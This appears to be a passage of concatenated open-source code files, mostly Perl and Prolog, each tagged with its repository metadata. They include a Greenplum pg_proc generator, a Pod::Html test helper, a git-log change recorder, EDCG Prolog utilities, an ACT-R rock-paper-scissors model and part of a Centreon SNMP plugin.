($kk =~ m/proisagg|proiswin/) { # unquote the string $vv =~ s/\"//g; } if ($kk =~ m/prosrc/) { # double the single quotes $vv =~ s/\'/\'\'/g; } $withh{$kk} = $vv; } } return \%withh; } # end get_fnwithhash sub printfndef { my $fndef = shift; my $bigstr = ""; my $addcomment = 1; die "bad fn" unless (exists($fndef->{with}->{oid})); my $tup = $fndef->{tuple}; my $nam = $fndef->{name}; $nam =~ s/\"//g; if (exists($fndef->{prefix}) && length($fndef->{prefix})) { $bigstr .= $fndef->{prefix}; } # print Data::Dumper->Dump([$tup]); # print $fndef->{name} . "\n\n"; $bigstr .= "/* " . $fndef->{name} . "(" . ($fndef->{rawargs} ? $fndef->{rawargs} : "" ) . ") => " . (exists($fndef->{returntype}) ? $fndef->{returntype} : "()") . " */ \n" if ($addcomment); $bigstr .= "DATA(insert OID = " . $fndef->{with}->{oid} . " ( " . $nam . " " . $tup->{pronamespace} . " " . $tup->{proowner} . " " . $tup->{prolang} . " " . $tup->{procost} . " " . $tup->{prorows} . " " . ($tup->{provariadic} ? $tup->{provariadic} : "0") . " " . (exists($fndef->{with}->{proisagg}) ? $fndef->{with}->{proisagg} : ($tup->{proisagg} ? "t" : "f") ) . " " . ($tup->{prosecdef} ? "t" : "f") . " " . ($tup->{proisstrict} ? "t" : "f") . " " . ($tup->{proretset} ? "t" : "f") . " " . ($tup->{provolatile} ? $tup->{provolatile} : "_null_" ) . " " . ($tup->{pronargs} ? $tup->{pronargs} : 0) . " " . ($tup->{pronargdefaults} ? $tup->{pronargdefaults} : 0) . " " . ($tup->{prorettype} ? $tup->{prorettype} : '""') . " " . (exists($fndef->{with}->{proiswin}) ? $fndef->{with}->{proiswin} : ($tup->{proiswin} ? "t" : "f")) . " " . ($tup->{proargtypes} ? '"'. $tup->{proargtypes} . '"' : '""') . " " . ($tup->{proallargtypes} ? '"' . $tup->{proallargtypes} . '"' : "_null_") . " " . ($tup->{proargmodes} ? '"' . $tup->{proargmodes} . '"' : "_null_") . " " . ($tup->{proargnames} ? '"' . $tup->{proargnames} . '"' : "_null_") . " " . ($tup->{proargdefault} ? $tup->{proargdefaults} : "_null_") . " " . (exists($fndef->{with}->{prosrc}) ? $fndef->{with}->{prosrc} : ($tup->{prosrc} ? $tup->{prosrc} : "_null_" )) . " " . ($tup->{probin} ? $tup->{probin} : "_null_") . " " . ($tup->{proacl} ? $tup->{proacl} : "_null_") . " " . ($tup->{proconfig} ? $tup->{proconfig} : "_null_") . " " . $tup->{prodataaccess} . " " . "));\n"; $bigstr .= "DESCR(" . $fndef->{with}->{description} . ");\n" if (exists($fndef->{with}->{description})); $bigstr .= "\n" if ($addcomment); return $bigstr; } # end printfndef # MAIN routine for pg_proc generation sub doprocs() { my $whole_file; { # $$$ $$$ undefine input record separator (\n) # and slurp entire file into variable local $/; undef $/; my $fh; open $fh, "< $glob_glob->{procdef}" or die "cannot open $glob_glob->{procdef}: $!"; $whole_file = <$fh>; close $fh; } my @allfndef; my $fndefh; # XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX # XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX # NOTE: preprocess dollar quoted strings for SQL functions: if ($whole_file =~ m/\$\$/) { my @ddd = split(/(\$\$)/m, $whole_file); my @eee; my $gotone = -1; for my $d1 (@ddd) { $gotone *= -1 if ($d1 =~ m/\$\$/); if (($gotone > 0) && ($d1 !~ m/\$\$/)) { $d1 =~ s/\'/\'\'/gm; # double quote the single quotes # quurl - convert to a single quoted string without spaces $d1 =~ s/([^a-zA-Z0-9])/uc(sprintf("%%%02lx", ord $1))/eg; # and make it a quoted, double quoted string (eg '"string"') $d1 = "'\"" . $d1 . "\"'"; } # strip the $$ tokens push @eee, $d1 if ($d1 !~ m/\$\$/); } $whole_file = join("", @eee); } # XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX # XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX XXX my @allfuncs = split(/\;\s*$/m, $whole_file); # print Data::Dumper->Dump(\@allfuncs); for my $funcdef (@allfuncs) { my $funcprefix; undef $funcprefix; # find "prefix", ie comments or #DEF's, preceding function definition. if ($funcdef =~ m/\s*\-\-.*create func/ims) { my @ppp = ($funcdef =~ m/(^\s*\-\-.*\n)\s*create func/ims); # print "ppp: ",Data::Dumper->Dump(\@ppp); if (scalar(@ppp)) { my @qqq = split(/\n/, $ppp[0]); $funcprefix = ""; for my $l1 (@qqq) { # uncomment #DEF's if ($l1 =~ m/^\s*\-\- \#define/) { $l1 =~ s|\-\-\s*||; } # convert to c-style comments if ($l1 =~ m/^\s*\-\-/) { $l1 =~ s|\-\-|\/\*|; $l1 .= " */"; } $funcprefix .= $l1 . "\n"; } my $rex2 = quotemeta($ppp[0]); # remove the prefix $funcdef =~ s/$rex2//; # print $funcprefix; } } next unless ($funcdef =~ m/create func(?:tion)*\s+((\w+\.)*(\")*(\w+)(\")*)/i); my $orig = $funcdef; # strip "create function" $funcdef =~ s/^\s*create func(?:tion)*\s*//i; # find function name (precedes leading paren) my @foo = split(/\(\s*/, $funcdef, 2); die "bad funcdef: $orig" unless (2 == scalar(@foo)); my $funcname = shift @foo; my $fnrex = quotemeta($funcname); # strip func name $funcdef =~ s/\s*$fnrex\s*//; @foo = split(/\s*\)/, $funcdef, 2); die "bad funcdef: $orig" unless (2 == scalar(@foo)); my $fnargs = shift @foo; # remove leading paren $fnargs =~ s/\s*\(//; $funcdef = shift @foo; die "bad funcdef - no RETURNS: $orig" unless ($funcdef =~ m/\s*RETURN/i); $funcdef =~ s/\s+RETURNS\s+//i; my $fntdef = get_fntype($funcdef); # remove the function arg list tokens @foo = split(/\s+/, $fntdef); for my $ff (@foo) { $ff = quotemeta($ff); $funcdef =~ s/^$ff//; } # print "name: $funcname\nargs: $fnargs\nreturns: $fntdef\nrest: $funcdef\n"; # print Data::Dumper->Dump(get_fnoptlist($funcdef)); my $t1 = get_fnoptlist($funcdef); my $w1 = get_fnwithhash($funcdef); # print "name: $funcname\nargs: $fnargs\nreturns: $fntdef\nrest: $funcdef\n"; # print Data::Dumper->Dump($t1); $fndefh = { name=> $funcname, rawtxt => $orig, returntype => $fntdef, rawargs => $fnargs, optlist => $t1, with => $w1 }; $fndefh->{prefix} = $funcprefix if (defined($funcprefix)); push @allfndef, $fndefh; } # print Data::Dumper->Dump(\@allfndef); for my $fndef (@allfndef) { make_opt($fndef); make_rettype($fndef); make_allargs($fndef); # Fill in defaults for procost and prorows. (We have to do this # after make_rettype, as we don't know if it's a set-returning function # before that. $fndef->{tuple}->{procost} = 1 unless defined($fndef->{tuple}->{procost}); if ($fndef->{tuple}->{proretset}) { $fndef->{tuple}->{prorows} = 1000 unless defined($fndef->{tuple}->{prorows}); } else { $fndef->{tuple}->{prorows} = 0 } } # print Data::Dumper->Dump(\@allfndef); my $verzion = "unknown"; $verzion = $glob_glob->{_sleazy_properties}->{version} if (exists($glob_glob->{_sleazy_properties}) && exists($glob_glob->{_sleazy_properties}->{version})); $verzion = $0 . " version " . $verzion; my $nnow = localtime; my $gen_hdr_str = ""; # $gen_hdr_str = "/* TIDYCAT_BEGIN_PG_PROC_GEN \n\n"; $gen_hdr_str = "\n"; $gen_hdr_str .= " WARNING: DO NOT MODIFY THE FOLLOWING SECTION: \n" . " Generated by " . $verzion . "\n" . " on " . $nnow . "\n\n" . " Please make your changes in " . $glob_glob->{procdef} . "\n*/\n\n"; my $bigstr = ""; $bigstr .= $gen_hdr_str; # build definitions in same order as input file for my $fndef (@allfndef) { $bigstr .= printfndef($fndef); } $bigstr .= "\n"; # $bigstr .= "\n\n/* TIDYCAT_END_PG_PROC_GEN */\n"; if (0) { print $bigstr; } else { # $$$ $$$ undefine input record separator (\n) # and slurp entire file into variable local $/; undef $/; my $tfh; open $tfh, "< $glob_glob->{prochdr}" or die "cannot open $glob_glob->{prochdr}: $!"; my $target_file = <$tfh>; close $tfh; my $prefx = quotemeta('TIDYCAT_BEGIN_PG_PROC_GEN'); my $suffx = quotemeta('TIDYCAT_END_PG_PROC_GEN'); my @zzz = ($target_file =~ m/^\s*\/\*\s*$prefx\s*\s*$(.*)^\s*\/\*\s*$suffx\s*\*\/\s*$/ms); die "bad target: $glob_glob->{prochdr}" unless (scalar(@zzz)); my $rex = $zzz[0]; # replace carriage returns first, then quotemeta, then fix CR again... $rex =~ s/\n/SLASHNNN/gm; $rex = quotemeta($rex); $rex =~ s/SLASHNNN/\\n/gm; # substitute the new generated proc definitions for the prior # generated defitions in the target file $target_file =~ s/$rex/$bigstr/ms; # save a backup file system "cp $glob_glob->{prochdr} $glob_glob->{prochdr}.backup"; my $outi; open $outi, "> $glob_glob->{prochdr}" or die "cannot open $glob_glob->{prochdr} for write: $!"; # rewrite the target file print $outi $target_file; close $outi; } } # MAIN routine for pg_type parsing sub readtypes { my $fh; open $fh, "< pg_type.h" or die "cannot open pg_type.h: $!"; while (my $row = <$fh>) { # The DATA lines in pg_type.h look like this: # DATA(insert OID = 16 ( bool ...)); # # Extract the oid and the type name. $row =~ /^DATA\(insert\s+OID\s+=\s+(\d+)\s+\(\s+(\w+).*\)/ or next; my $oid = $1; my $typname = $2; # save the oid for each typename for CREATE TYPE...ELEMENT lookup $glob_typeoidh{lc($typname)} = $oid; } close $fh; } if (1) { readtypes(); doprocs(); } # SLZY_TOP_BEGIN if (0) { my $bigstr = <<'EOF_bigstr'; { "args" : [ { "alias" : "?", "long" : "Print a brief help message and exits.", "name" : "help", "required" : "0", "short" : "brief help message", "type" : "untyped" }, { "long" : "Prints the manual page and exits.", "name" : "man", "required" : "0", "short" : "full documentation", "type" : "untyped" }, { "alias" : "prosource|procsource|prosrc|procsrc", "long" : "sql definitions for pg_proc functions (normally pg_proc.sql)", "name" : "procdef", "required" : "1", "short" : "sql definitions for pg_proc functions", "type" : "file" }, { "alias" : "proheader|procheader|prohdr", "long" : "header file to modify (normally pg_proc_gp.h). The original file is copied to a .backup copy.", "name" : "prochdr", "required" : "1", "short" : "header file to modify (procedures)", "type" : "file" }, ], "long" : "$toplong", "properties" : { "slzy_date" : 1317671892 }, "short" : "generate pg_proc entries", "version" : "8" } EOF_bigstr } # SLZY_TOP_END # SLZY_LONG_BEGIN if (0) { my $toplong = <<'EOF_toplong'; catullus.pl converts annotated sql CREATE FUNCTION and CREATE TYPE statements into pg_proc and updates pg_proc_gp.h. The pg_proc definitions are stored in pg_proc.sql. catullus reads these definitions and, using type information from pg_type.h, generates DATA statements for loading the pg_proc table. In pg_proc_gp.h, it looks for a block of code delimited by the tokens TIDYCAT_BEGIN_PG_PROC_GEN and TIDYCAT_END_PG_PROC_GEN and substitutes the new generated code for the previous contents. {HEAD1} CAVEATS/FUTURE WORK The aggregate transition functions are constructed from CREATE FUNCTION statements. But we should really use CREATE AGGREGATE statements to generate the DATA statements for pg_aggregate and the pg_proc entries. A similar limitation exists for window functions in pg_window. And operators and operator classes? Access methods? Casts? EOF_toplong } # SLZY_LONG_END
xuegang/gpdb
src/include/catalog/catullus.pl
Perl
apache-2.0
29,129
require Cwd; require Pod::Html; require Config; use File::Spec::Functions; sub convert_n_test { my($podfile, $testname) = @_; my $cwd = Cwd::cwd(); my $base_dir = catdir $cwd, updir(), "lib", "Pod"; my $new_dir = catdir $base_dir, "t"; my $infile = catfile $new_dir, "$podfile.pod"; my $outfile = catfile $new_dir, "$podfile.html"; Pod::Html::pod2html( "--podpath=t", "--podroot=$base_dir", "--htmlroot=/", "--infile=$infile", "--outfile=$outfile" ); my ($expect, $result); { local $/; # expected $expect = <DATA>; $expect =~ s/\[PERLADMIN\]/$Config::Config{perladmin}/; if (ord("A") == 193) { # EBCDIC. $expect =~ s/item_mat_3c_21_3e/item_mat_4c_5a_6e/; } # result open my $in, $outfile or die "cannot open $outfile: $!"; $result = <$in>; close $in; } ok($expect eq $result, $testname) or do { my $diff = '/bin/diff'; -x $diff or $diff = '/usr/bin/diff'; if (-x $diff) { my $expectfile = "pod2html-lib.tmp"; open my $tmpfile, ">", $expectfile or die $!; print $tmpfile $expect; close $tmpfile; my $diffopt = $^O eq 'linux' ? 'u' : 'c'; open my $diff, "diff -$diffopt $expectfile $outfile |" or die $!; print "# $_" while <$diff>; close $diff; unlink $expectfile; } }; # pod2html creates these 1 while unlink $outfile; 1 while unlink "pod2htmd.tmp"; 1 while unlink "pod2htmi.tmp"; } 1;
cristiana214/cristianachavez214-cristianachavez
perl/src/lib/Pod/t/pod2html-lib.pl
Perl
apache-2.0
1,471
#!/usr/bin/perl use 5.010; use strict; use autodie; if (@ARGV < 2) { print $ARGV; die "Usage:\n\tperl cp.pl in.md out.changes > out.md\n"; } open IMD, '<', $ARGV[0]; # input markdown file while (<IMD>) { print; next; } close IMD; open CHANGES, '>', $ARGV[1]; # changes my $hash; my $datetime; my $filename; my $insertions; my $deletions; # print header to file.changes print CHANGES <<EOF; --- tzx-changes: EOF my $changes = `git log --stat --pretty=format:%H-%at $ARGV[0]`; my @lines = split /\n/, $changes; foreach (@lines) { if (/^(.{40})-(\d{10})/) { $hash = $1; $datetime = $2; } if (/^ (.*) \|/) { $filename = $1; } if (/file changed/) { $insertions = 0; $deletions = 0; $insertions = $1 if /, (\d+) insertion/; $deletions = $1 if /, (\d+) deletion/; # print CHANGES " - $hash, $datetime, $insertions, $deletions\n"; print CHANGES " - hash: $hash\n datetime: $datetime\n insertions: $insertions\n deletions: $deletions\n"; } } print CHANGES "\ntzx-filename: $filename\n...\n"; close CHANGES;
district10/blog
cp.pl
Perl
mit
1,142
% Specialized utilities: :- ['generic-util.pl']. :- ['messages.pl']. % Given a goal Goal and a list of hidden parameters GList % create a new goal TGoal with the correct number of arguments. % Also return the arity of the original goal. '_new_goal'(Goal, GList, GArity, TGoal) :- functor(Goal, Name, GArity), '_number_args'(GList, GArity, TArity), functor(TGoal, Name, TArity), '_match'(1, GArity, Goal, TGoal). % Add the number of arguments needed for the hidden parameters: '_number_args'([], N, N). '_number_args'([A|List], N, M) :- '_is_acc'(A), !, N2 is N+2, '_number_args'(List, N2, M). '_number_args'([A|List], N, M) :- '_is_pass'(A), !, N1 is N+1, '_number_args'(List, N1, M). '_number_args'([_|List], N, M) :- !, % error caught elsewhere '_number_args'(List, N, M). % Give a list of G's hidden parameters: '_has_hidden'(G, GList) :- functor(G, GName, GArity), pred_info(GName, GArity, GList). '_has_hidden'(G, []) :- functor(G, GName, GArity), \+pred_info(GName, GArity, _). % Succeeds if A is an accumulator: '_is_acc'(A) :- atomic(A), !, '_acc_info'(A, _, _, _, _, _, _). '_is_acc'(A) :- functor(A, N, 2), !, '_acc_info'(N, _, _, _, _, _, _). % Succeeds if A is a passed argument: '_is_pass'(A) :- atomic(A), !, '_pass_info'(A, _). '_is_pass'(A) :- functor(A, N, 1), !, '_pass_info'(N, _). % Get initial values for the accumulator: '_acc_info'(AccParams, LStart, RStart) :- functor(AccParams, Acc, 2), '_is_acc'(Acc), !, arg(1, AccParams, LStart), arg(2, AccParams, RStart). '_acc_info'(Acc, LStart, RStart) :- '_acc_info'(Acc, _, _, _, _, LStart, RStart). % Isolate the internal database from the user database: '_acc_info'(Acc, Term, Left, Right, Joiner, LStart, RStart) :- acc_info(Acc, Term, Left, Right, Joiner, LStart, RStart). '_acc_info'(Acc, Term, Left, Right, Joiner, _, _) :- acc_info(Acc, Term, Left, Right, Joiner). '_acc_info'(dcg, Term, Left, Right, Left=[Term|Right], _, []). % Get initial value for the passed argument: % Also, isolate the internal database from the user database. '_pass_info'(PassParam, PStart) :- functor(PassParam, Pass, 1), '_is_pass'(Pass), !, arg(1, PassParam, PStart). '_pass_info'(Pass, PStart) :- pass_info(Pass, PStart). '_pass_info'(Pass, _) :- pass_info(Pass). % Calculate the joiner for an accumulator A: '_joiner'([], _, _, true, Acc, Acc). '_joiner'([Term|List], A, NaAr, (Joiner,LJoiner), Acc, NewAcc) :- '_replace_acc'(A, LeftA, RightA, MidA, RightA, Acc, MidAcc), '_acc_info'(A, Term, LeftA, MidA, Joiner, _, _), !, '_joiner'(List, A, NaAr, LJoiner, MidAcc, NewAcc). % Defaulty case: '_joiner'([_Term|List], A, NaAr, Joiner, Acc, NewAcc) :- print_message(warning, missing_accumulator(NaAr,A)), '_joiner'(List, A, NaAr, Joiner, Acc, NewAcc). % Replace hidden parameters with ones containing initial values: '_replace_defaults'([], [], _). '_replace_defaults'([A|GList], [NA|NGList], AList) :- '_replace_default'(A, NA, AList), '_replace_defaults'(GList, NGList, AList). '_replace_default'(A, NewA, AList) :- % New initial values for accumulator. functor(NewA, A, 2), member(NewA, AList), !. '_replace_default'(A, NewA, AList) :- % New initial values for passed argument. functor(NewA, A, 1), member(NewA, AList), !. '_replace_default'(A, NewA, _) :- % Use default initial values. A=NewA.
mndrix/edcg
prolog/special-util.pl
Perl
mit
3,432
wizard(ron). hasWand(harry). quidditchPlayer(harry). wizard(X) :- hasBroom(X), hasWand(X). hasBroom(X) :- quidditchPlayer(X). % ?- wizard(ron). % true. % ?- witch(ron). % ERROR % ?- wizard(hermione). % false. % ?- witch(hermione). % ERROR % ?- wizard(harry). % true. % ?- wizard(Y). % Y = harry; % Y = ron. % witch(Y). % ERROR.
willprice/learn-prolog-now
ex1-5.pl
Perl
mit
335
file_search_path(chractr,'.'). :- include(chractr('actr_core.pl')). :- chr_constraint run/0, run/1, fire/0. /* * This model is designed to play against an opponent choosing equally from rock, paper and scissors in the rock paper scissors experiment. * It has been derived from the corresponding ACT-R model. * It is configured to add the subsymbolic information of the ACT-R 6.0 conflict resolution mechanism (i.e. rewards etc.) and * will fail when trying to load it with the ACT-R 5.0 configuration (i.e. conflict_resolution_old.pl). * Note that this randomized experiment has been replaced by an experiment with pre-defined (randomly generated) samples in the paper. * The files expsample.pl and expsample5.pl are able to receive a sample and performing the experiment as described in the paper. */ delay-play-scissors@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)==>true|conflict_set(rule(play-scissors,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[])). play-scissors@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)\apply_rule(rule(play-scissors,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[]))<=>L=[rock,paper,scissors],length(L,N),random_between(1,N,I),nth1(I,L,X) | output(scissors),output(X),buffer_change(goal,chunk(_,_,[ (me,scissors), (opponent,X)])),conflict_resolution. delay-play-paper@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)==>true|conflict_set(rule(play-paper,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[])). play-paper@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)\apply_rule(rule(play-paper,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[]))<=>L=[rock,paper,scissors],length(L,N),random_between(1,N,I),nth1(I,L,X) |output(paper),output(X),buffer_change(goal,chunk(_,_,[ (me,paper), (opponent,X)])),conflict_resolution. delay-play-rock@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)==>true|conflict_set(rule(play-rock,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[])). play-rock@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)\apply_rule(rule(play-rock,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,nil),chunk_has_slot(A,opponent,nil)],[]))<=>L=[rock,paper,scissors],length(L,N),random_between(1,N,I),nth1(I,L,X) | output(rock),output(X),buffer_change(goal,chunk(_,_,[ (me,rock), (opponent,X)])),conflict_resolution. delay-recognize-win1@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,scissors)==>true|conflict_set(rule(recognize-win1,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,scissors)],[])). recognize-win1@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,scissors)\apply_rule(rule(recognize-win1,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,scissors)],[]))<=>true|output(me),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution. delay-recognize-win2@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,rock)==>true|conflict_set(rule(recognize-win2,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,rock)],[])). recognize-win2@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,rock)\apply_rule(rule(recognize-win2,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,rock)],[]))<=>true|output(me),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution. delay-recognize-win3@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,paper)==>true|conflict_set(rule(recognize-win3,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,paper)],[])). recognize-win3@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,paper)\apply_rule(rule(recognize-win3,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,paper)],[]))<=>true|output(me),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution. delay-recognize-draw@fire,buffer(goal,C,A),chunk(A,game),chunk_has_slot(A,opponent,B),chunk_has_slot(A,me,B)==>B\==nil|conflict_set(rule(recognize-draw,[fire,buffer(goal,C,A),chunk(A,game),chunk_has_slot(A,opponent,B),chunk_has_slot(A,me,B)],[])). recognize-draw@buffer(goal,C,A),chunk(A,game),chunk_has_slot(A,opponent,B),chunk_has_slot(A,me,B)\apply_rule(rule(recognize-draw,[fire,buffer(goal,C,A),chunk(A,game),chunk_has_slot(A,opponent,B),chunk_has_slot(A,me,B)],[]))<=>B\==nil|output(draw),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution. delay-recognize-defeat1@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,rock)==>true|conflict_set(rule(recognize-defeat1,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,rock)],[])). recognize-defeat1@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,rock)\apply_rule(rule(recognize-defeat1,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,scissors),chunk_has_slot(A,opponent,rock)],[]))<=>true|output(opponent),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution. delay-recognize-defeat2@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,paper)==>true|conflict_set(rule(recognize-defeat2,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,paper)],[])). recognize-defeat2@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,paper)\apply_rule(rule(recognize-defeat2,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,rock),chunk_has_slot(A,opponent,paper)],[]))<=>true|output(opponent),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution. delay-recognize-defeat3@fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,scissors)==>true|conflict_set(rule(recognize-defeat3,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,scissors)],[])). recognize-defeat3@buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,scissors)\apply_rule(rule(recognize-defeat3,[fire,buffer(goal,B,A),chunk(A,game),chunk_has_slot(A,me,paper),chunk_has_slot(A,opponent,scissors)],[]))<=>true|output(opponent),buffer_change(goal,chunk(_,_,[ (me,nil), (opponent,nil)])),conflict_resolution. run(X) <=> stopat(X), run. init@run<=>true|add_buffer(retrieval,declarative_module),add_buffer(goal,declarative_module),lisp_chunktype([chunk]),lisp_sgp([:,esc,t,:,v,t,:,ul,t,:,ult,t]),lisp_chunktype([game,me,opponent]),lisp_adddm([[goal,isa,game,me,nil,opponent,nil]]),lisp_spp([recognize-win1,:,reward,2]),set_default_utilities([recognize-defeat3,recognize-defeat2,recognize-defeat1,recognize-draw,recognize-win3,recognize-win2,recognize-win1,play-scissors,play-paper,play-rock]),lisp_spp([recognize-win2,:,reward,2]),lisp_spp([recognize-win3,:,reward,2]),lisp_spp([recognize-defeat1,:,reward,0]),lisp_spp([recognize-defeat2,:,reward,0]),lisp_spp([recognize-defeat3,:,reward,0]),lisp_goalfocus([goal]),now(0),conflict_resolution,nextcyc. no-rule@fire<=>true|conflict_set([]),choose.
danielgall/chr-actr
src/core/examples/experiment/equally_random.pl
Perl
mit
7,810
# See bottom of file for license and copyright information package VisDoc::MemberFormatterJava; use base 'VisDoc::MemberFormatterBase'; use strict; use warnings; sub new { my ( $class, $inFileParser ) = @_; my VisDoc::MemberFormatterJava $this = $class->SUPER::new(); $this->{PATTERN_PARAMETER_STRING} = 'DATATYPE| NAME'; $this->{PATTERN_MEMBER_TYPE_INFO_PROPERTY} = 'DATATYPE| NAME'; $this->{PATTERN_MEMBER_TYPE_INFO_METHOD} = 'RETURNTYPE |NAME|(PARAMETERS)'; $this->{PATTERN_MEMBER_PROPERTY_LEFT} = ''; bless $this, $class; return $this; } =pod =cut sub getPropertyTypeString { my ( $this, $inElement, $inMember ) = @_; my $outText = ''; if ( $inElement =~ m/\bPROPERTYTYPE\b/ && $inMember->{type} ) { my $type = $inMember->{type}; $inElement =~ s/\bPROPERTYTYPE\b/$type/; $outText .= $inElement; } return $outText; } =pod =cut sub getMethodTypeString { my ( $this, $inElement, $inMember ) = @_; my $outText = ''; if ( $inElement =~ m/\bMETHODTYPE\b/ && $inMember->{type} ) { my $type = $inMember->{type}; $inElement =~ s/\bMETHODTYPE\b/$type/; $outText .= $inElement; } return $outText; } 1; # VisDoc - Code documentation generator, http://visdoc.org # This software is licensed under the MIT License # # The MIT License # # Copyright (c) 2010-2011 Arthur Clemens, VisDoc contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE.
ArthurClemens/VisDoc
code/perl/lib/VisDoc/MemberFormatterJava.pm
Perl
mit
2,493
%query: shanoi(i,i,i,i,o). shanoi(s(0),A,B,C,[mv(A,C)]). shanoi(s(s(X)),A,B,C,M) :- eq(N1,s(X)), shanoi(N1,A,C,B,M1), shanoi(N1,B,A,C,M2), append(M1,[mv(A,C)],T), append(T,M2,M). append([],L,L). append([H|L],L1,[H|R]) :- append(L,L1,R). eq(X,X).
ComputationWithBoundedResources/ara-inference
doc/tpdb_trs/Logic_Programming/talp_mixed/hanoiapp.suc.pl
Perl
mit
255
# # Copyright 2018 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package network::alcatel::oxe::snmp::mode::pbxstate; use base qw(centreon::plugins::mode); use strict; use warnings; my $thresholds = { state => [ ['indeterminate', 'UNKNOWN'], ['critical', 'CRITICAL'], ['major', 'CRITICAL'], ['minor', 'WARNING'], ['warning', 'WARNING'], ['normal', 'OK'], ], }; my %map_state = ( 0 => 'indeterminate', 1 => 'critical', 2 => 'major', 3 => 'minor', 4 => 'warning', 5 => 'normal', ); sub new { my ($class, %options) = @_; my $self = $class->SUPER::new(package => 